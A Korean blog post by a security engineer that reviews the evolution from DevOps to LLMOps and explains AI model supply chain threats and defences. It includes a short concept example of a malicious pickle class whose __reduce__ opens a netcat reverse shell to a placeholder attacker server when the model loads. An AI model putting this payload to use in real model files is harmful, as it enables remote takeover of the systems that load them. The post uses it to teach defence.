By Mark DevOps에서 MLOps 까지는 그래도 조금 개념을 이해하고 있는데 LLMOps는 사실 잘 모르겠습니다. DevOps에서 MLOps도 개념대로 동작하는 곳을 별로 못본거 같고요. DevOps를 처음 시작할때만 해도 Dev팀과 Ops 팀이 돌아가면서 작업하고 파이프 라인을 만들고 나름 잘 운영했던거 같은데 몇년 지나자 그냥 너희팀이 개발도 하고 운영도 해 하는 체계가 되어 버렸죠. 뭐 보안 엔지니어 입장에서는 파이프라인에 이것 저것 끼워넣기 하고 있긴한데… 이제 간신히 MLOps에 데이터를 보는 수준에 머물고 있습니다. LLMOps에 대해서 공부하기 위해서 이 포스트를 만들어봅니다.
목차
1. 서론: 인프라의 자동화에서 인공지능 공급망 보안까지
소프트웨어 엔지니어링 패러다임이 진화함에 따라 시스템을 안정적으로 운영하고 배포하기 위한 ‘Ops(Operations)’ 시리즈 역시 끊임없이 발전해 왔습니다. 서버를 수동으로 관리하던 시대의 DevOps를 시작으로, 머신러닝 모델의 라이프사이클을 관리하는 MLOps, 그리고 거대언어모델(LLM)과 오픈소스 에코시스템의 폭발적인 성장으로 탄생한 LLMOps(SecLLMOps)에 이르기까지 그 흐름은 지속적으로 확장되고 있습니다.
특히 최근의 AI 공급망 보안(AI Supply Chain Security) 위협은 이 Ops 시리즈의 역사적 진화 과정과 밀접하게 맞물려 있습니다. 인프라와 소프트웨어가 코드화(IaC)되고 AI 모델이 오픈소스 플랫폼을 통해 유통되면서, 보안의 영역 역시 단순한 네트워크 방화벽을 넘어 ‘AI 모델 파이프라인 무결성 검증’으로 패러다임이 시프트하고 있습니다. 본 글에서는 DevOps부터 최신 LLMOps에 이르는 발전 히스토리를 짚어보고, 왜 현재 AI 공급망 보안이 Ops 진화의 최전선에 서게 되었는지 기술적으로 분석합니다.
2. Ops 시리즈의 진화 히스토리 및 핵심 패러다임
1단계: DevOps (Development + Operations) – 인프라의 코드화와 지속적 통합
2010년대 초반, 전통적인 소프트웨어 개발 환경은 개발 팀(Dev)과 운영 팀(Ops)의 극심한 사일로(Silo) 현상을 겪고 있었습니다. 이를 해결하기 위해 등장한 개념이 바로 DevOps입니다.
- 핵심 가치: 지속적 통합(CI) 및 지속적 배포(CD), 인프라의 코드화(IaC, Infrastructure as Code).
- 작업 대상: 소스 코드(
.py,.java), 빌드 아티팩트(.war,.jar), 컨테이너 이미지(Docker). - 보안의 역할 (DevSecOps): 소스 코드 내의 정적 분석(SAST), 오픈소스 라이브러리의 취약점(CVE) 스캔, 컨테이너 이미지 내부의 악성코드 탐지.
DevOps의 정착으로 소프트웨어 배포 주기는 주 단위에서 분 단위로 단축되었으며, 모든 빌드와 배포 과정이 파이프라인을 통해 자동화되는 기반이 마련되었습니다.
2단계: MLOps (Machine Learning + Operations) – 데이터와 모델의 생명주기 관리
머신러닝(ML) 데이터 사이언스가 주류 기술로 부상하면서, 전통적인 DevOps 방식으로는 AI 모델을 관리할 수 없다는 한계에 직면했습니다. 일반 소프트웨어는 코드만 변경되지만, 머신러닝은 코드(Code), 데이터(Data), 모델 가중치(Weights)라는 세 가지 축이 동시에 변하기 때문입니다. 2010년대 후반부터 이를 해결하기 위한 MLOps가 급부상했습니다.
- 핵심 가치: 데이터 버전 관리(DVC), 모델 학습 파이프라인 자동화, 모델 레지스트리(Model Registry) 운영, 모델 데이터의 드리프트(Drift) 모니터링.
- 작업 대상: 데이터셋(
.csv,.parquet), 데이터 전처리 스크립트, 모델 체크포인트 파일(.pth,.bin,.pkl). - 보안의 역할: 학습 데이터 오염(Data Poisoning) 방지, 모델 역직렬화(Deserialization) 과정에서의 악성코드 실행 차단.
MLOps는 실험실 환경(Jupyter Notebook)에 머물러 있던 머신러닝 모델을 주기적으로 재학습하고, 프로덕션 환경에 안정적으로 서빙하는 체계를 완성했습니다.
3단계: LLMOps 및 SecLLMOps – 파운데이션 모델과 대규모 오픈소스 에코시스템의 도래
생성형 AI(Generative AI)와 대규모 언어 모델(LLM)의 등장으로 MLOps는 또 한 번의 격변을 맞이합니다. 기업들이 직접 모델을 바닥부터 학습(Scratch Train)시키기보다는, 이미 완성된 파운데이션 모델(Foundation Model)을 가져와 미세조정(Fine-Tuning)하거나 RAG(검색 증강 생성) 형태로 활용하기 시작한 것입니다. 이로 인해 LLMOps라는 세부 영역이 정립되었습니다.
- 핵심 가치: 프롬프트 엔지니어링 템플릿 관리, 벡터 데이터베이스(Vector DB) 연동, 프롬프트 주입(Prompt Injection) 방어, 외부 오픈소스 모델 공급망 검증.
- 작업 대상: 수십억~수천억 개의 매개변수를 가진 대형 가중치 파일(
.safetensors), 프롬프트 데이터, RAG 임베딩 파이프라인. - 보안의 최전선 (SecLLMOps): 허깅페이스 등 외부 저장소로부터 다운로드되는 모델의 무결성 검증, AI 공급망 보안(AI Supply Chain Security).
| 구분 | DevOps | MLOps | LLMOps / SecLLMOps |
| 주요 대상 | 소스 코드, 바이너리 배포 파일 | 구조화된 데이터셋, 자체 학습 모델 | 프레이트레인 모델, 프롬프트, 벡터 데이터 |
| 핵심 파이프라인 | CI/CD (젠킨스, 깃허브 액션) | CT (지속적 학습), ML 파이프라인 | 프롬프트 튜닝, RAG, 모델 공급망 검증 |
| 핵심 보안 위협 | 오픈소스 라이브러리 취약점, OS 해킹 | 데이터 오염, 피클 파일 역직렬화 공격 | 모델 백도어 주입, 외부 공급망 오염 |
3. 프리트레인 모델에 숨겨진 기술적 위협 요인
오픈소스 AI 모델 배포 채널을 타깃으로 하는 해커들의 공격 기법은 Ops 진화 과정에서 발생한 새로운 사각지대를 정밀하게 파고들고 있습니다.
파이썬 직렬화의 아킬레스건: 피클(Pickle) 취약점
파이토치(PyTorch)를 비롯한 많은 ML/LLM 프레임워크는 오랫동안 모델의 구조와 가중치를 저장하기 위해 파이썬의 pickle 모듈을 기반으로 한 .pth 또는 .bin 형식을 사용해 왔습니다.
pickle은 파이썬 객체를 바이트 스트림으로 변환하는 직렬화 도구인데, 심각한 설계 결함이 존재합니다. 바로 역직렬화(Deserialization) 과정에서 __reduce__ 메서드를 통해 임의의 시스템 명령어를 실행할 수 있다는 점입니다.
Python
# 악성 코드가 삽입된 피클 객체의 개념 예시
import pickle
import os
class MaliciousModel(object):
def __reduce__(self):
# 모델이 로드되는 순간 공격자의 서버로 리버스 쉘을 연결
return (os.system, ("nc -e /bin/sh hacker_server_ip 4444",))
# 이 결과물로 만들어진 모델 파일을 torch.load()하는 순간 시스템이 장악됨
개발자가 torch.load('suspect_model.pth') 코드를 실행하는 순간, 백그라운드에서 해커의 명령 제어(C2) 서버로 연결이 수립되어 서버의 권한이 탈취됩니다. MLOps와 LLMOps 파이프라인에 보안 검증이 빠져 있다면, 이 코드는 아무런 제제 없이 내부 서빙 인프라에서 실행됩니다.
모델 데이터 오염 (Data Poisoning)
공격자가 오픈소스 데이터셋을 미세하게 조작하여 특정 조건에서만 오작동을 일으키는 백도어를 심는 기법입니다. 예를 들어, 이미지 인식 모델의 학습 데이터셋에 특정 패턴의 노이즈를 심어놓고, 프로덕션 환경에서 해당 노이즈를 가진 이미지가 들어오면 무조건 오인식하도록 유도하는 방식입니다. 이는 정적 악성코드 스캔으로는 잡아낼 수 없어 고도화된 MLOps 모니터링이 요구됩니다.
종속성 혼란 (Dependency Confusion) 및 타이포스쿼팅 (Typosquatting)
인기 있는 AI 라이브러리(예: transformers, tensorboard)와 이름이 유사한 악성 패키지(예: transforrmers, tensorboarrd)를 PyPI 등의 공용 저장소에 등록하여 개발자의 오타를 유도하는 공격입니다. 패키지가 설치되면 모델 다운로드 과정에 개입하여 조작된 가중치 파일을 주입합니다.
4. 안전한 AI 모델 검증 및 배포 프로세스
외부의 위협으로부터 MLOps 및 LLMOps 파이프라인을 보호하기 위해 기업이 반드시 도입해야 하는 기술적 방어 체계입니다.
안전한 파일 포맷 사용 체계로의 전환 (.safetensors)
가장 확실한 1차 방어선은 위험한 가중치 파일 형식을 원천 차단하는 것입니다. 파이토치 진영과 허깅페이스는 pickle의 대안으로 safetensors 포맷의 도입을 강력히 권장하고 있습니다.
- 안전성:
safetensors는 오직 순수한 텐서(Tensor) 데이터(숫자 배열)만 저장하며, 임의 코드를 실행할 수 있는 실행 로직을 포함하지 않습니다. 역직렬화 공격이 구조적으로 불가능합니다. - 성능: 제로 카피(Zero-copy) 및 메모리 매핑(mmap)을 지원하여 대용량 모델을 로드할 때 피클 방식보다 속도가 훨씬 빠릅니다.
오픈소스 AI 라이브러리 및 모델 취약점 스캔
CI/CD 및 LLMOps 빌드 파이프라인 내에 AI 자산 전용 스캐닝 도구를 배치해야 합니다.
- 인프라 단의 보안 스캔: 모델 파일이 저장소에 업로드되거나 다운로드될 때 정적 분석을 통해 내부의 악성 바이트 코드를 탐지합니다.
- 소프트웨어 구성 분석(SCA): AI 서비스가 의존하는 파이썬 패키지들의 취약점(CVE)을 주기적으로 모니터링하고, 알려진 위협이 있는 버전의 사용을 빌드 단계에서 즉시 차단합니다.
모델 출처 및 무결성 검증 (Artifact Verification)
임의의 사용자가 올린 레포지토리의 모델을 그대로 가져오는 것은 지양해야 합니다.
- 공식 서명 확인: 허깅페이스의 공식 조직(예: Meta, Google 공식 계정) 마크가 있는 검증된 레포지토리의 모델만 다운로드합니다.
- 해시 무결성 검사: 다운로드한 모델 파일의 SHA-256 해시값을 신뢰할 수 있는 원본 소스와 비교하여 전송 과정에서의 변조 여부를 검증합니다.
5. 지속 가능한 엔터프라이즈 AI 공급망 보안 전략
보안은 단발성 검사로 끝나지 않습니다. 기업 차원에서 거버넌스를 아우르는 지속 가능한 보안 전략 레이어를 설계해야 합니다.
내부 프라이빗 모델 레포지토리(Private Model Registry) 운영
엔터프라이즈 환경에서는 외부 허깅페이스 허브에 각 개발자나 서버가 직접 접근하여 모델을 실시간으로 다운로드하는 아키텍처를 금지해야 합니다. 대신, 내부망에 프라이빗 모델 레포지토리를 구축하는 방식을 권장합니다.
[외부 허깅페이스] ➔ [보안성 검사 / 샌드박스 테스트] ➔ [사내 프라이빗 레포지토리 등록] ➔ [사내 개발자/서빙 인프라 활용]
중앙 보안 팀이 검증을 완료한 모델만 사내 프라이빗 저장소에 등록하고, 개발 팀은 오직 이 내부 저장소만을 바라보도록 격리함으로써 외부 공급망 오염이 내부 인프라로 전파되는 경로를 차단할 수 있습니다.
AI 자산에 대한 소프트웨어 자재명세서(AI-BOM) 작성
최근 글로벌 보안 표준 및 규제 프레임워크에서는 AI-BOM(AI Bill of Materials)의 작성을 요구하고 있습니다. AI-BOM은 해당 AI 서비스가 어떤 데이터셋으로 학습되었는지, 어떤 베이스 모델을 기반으로 삼았는지, 사용된 하이퍼파라미터와 파이프라인 라이브러리 버전은 무엇인지를 투명하게 기록한 명세서입니다. 이를 확보해 두어야 향후 특정 오픈소스 라이브러리나 베이스 모델에서 취약점이 터졌을 때 신속하게 영향도를 파악하고 패치를 적용할 수 있습니다.
6. 결론: 보안이 담보되지 않은 AI는 비즈니스의 시한폭탄이다
DevOps에서 시작해 MLOps를 거쳐 LLMOps로 이어지는 Ops 시리즈의 역사는 ‘생산성과 자동화의 극대화’를 향해 달려왔습니다. 하지만 그 과정에서 파생된 오픈소스 AI 모델 공급망은 해커들에게 새로운 공격 표면(Attack Surface)을 제공하고 있습니다.
준비되지 않은 인프라에서의 무분별한 외부 모델 도입은 기업의 시스템 통제권을 통째로 해커에게 넘겨주는 치명적인 결과를 초래할 수 있습니다. 피클 포맷의 퇴출과 safetensors로의 전환, 프라이빗 레포지토리 중심의 격리 모델 운영, 그리고 파이프라인 내 주기적인 취약점 스캔 프로세스를 내재화하는 것만이 안전하고 신뢰할 수 있는 엔터프라이즈 AI 인프라를 완성하는 길입니다.
지금까지 이야기 한 내용은 파이프 라인 자체를 클린하게 만드는 방법이고 사실 비지니스 환경에서는 온갓 서드파티 제품이 안에 들어가 있습니다. 사실 보안담당자 입장에서는 배포자체게 하나로 일관되면 한곳만 통제하면 되는 아주 편안한 환경이 되는거죠.